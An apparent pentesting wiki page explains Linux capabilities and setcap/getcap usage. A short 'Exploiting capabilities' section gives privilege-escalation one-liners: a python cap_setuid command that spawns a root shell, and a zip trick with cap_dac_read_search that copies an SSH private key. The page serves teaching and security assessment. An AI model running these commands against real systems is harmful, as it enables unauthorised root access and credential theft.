Skip to content

πŸ› οΈ Capabilities ​

Theory ​

Linux capabilities are a way to improve permission granularity in unix-like systems. It allows to follow the least-privilege principle by defining fine-grained permissions that can be attributed to threads and files. It works by splitting kernel calls in groups of similar functionalities.

Basic processes : Have no capabilities (file access is controlled by traditional file privileges).

(Binary) files : Can have capabilities (filesystem-dependent).

Capabilities are in separated in 5 sets :

SetDescription
Effective setthe set that will be used when doing permission check.
Permitted setcan be moved to effective set by calling capset()
Inheritable setcan be inherited from parent processes, can be moved to effective set by calling capset()
Bounding setlist of all the capabilities a process can ever receive (in its inheritable/permitted sets)
Ambiant setpassed to non-suid files without defined capabilities

Capability inheritance, capability drop ​

  • On fork() call, the child thread will have the same capabilities as the parent thread.
  • capset() syscall allows to
  • drop any capability from any set
  • move capabilities from permitted/inherited sets to effective set
  • If a thread calls execve() on a binary file, its capabilities will be modified following the pattern described in the man pages (see man capabilities).

Non-exhaustive capability list :

CapabilityDescription
CAP_AUDIT_CONTROLToggle kernel auditing
CAP_AUDIT_WRITEWrite to kernel audit log
CAP_CHOWNChange file owners
CAP_SETUID/CAP_SETGIDChange UID/GID
CAP_NET_RAWOpen raw and packet sockets
CAP_NET_BIND_SERVICEBind a socket to Internet domain privileged ports

Practice ​

Setting a file's capabilities :

To change capabilities on a file, you need to type these commands as root :

bash
# set capability to change uid to file (+ep to add to effective & permitted)
setcap cap_setuid+ep /path/to/file

# delete capabilites 
setcap -r /path/to/file

# get file(s) capabilities
getcap -r dir 2>/dev/null
getcap file

# listing & decoding a running process' capabilities
grep Cap /proc/$pid/status
capsh --decode=000001ffffffffff

Exploiting capabilities :

  • Empty capabilities

If a file has capabilities /path/to/file =ep it means it has all capabilities and will run as root.

To create a file with empty (=all) capabilities justsudo setcap \=ep /path/to/file

Other classic examples :

  • If the python binary has the cap_setuid then it becomes trivial to get a root shell :
bash
./python -c "import os; os.setuid(0); os.system('/bin/sh')"
  • Arbitrary file read : zip with cap_dac_read_search
bash
# cap_dac_read_search allows zip/tar to read any file (get ssh private key here)
zip /tmp/private_k.zip ~/.ssh/id_rsa
unzip /tmp/private_k.zip -d /tmp
# id_rsa is now readable in the unzipped folder

End notes :

When copied from one place to another, a binary will lose its capabilities. In order to keep capabilities, you can copy the file with --preserve=all option :

bash
# to keep capabilities when copying a binary
cp --preserve=all /origin/path /dest/path

Resources ​

https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work

https://blog.ploetzli.ch/2014/understanding-linux-capabilities/

https://materials.rangeforce.com/tutorial/2020/02/19/Linux-PrivEsc-Capabilities/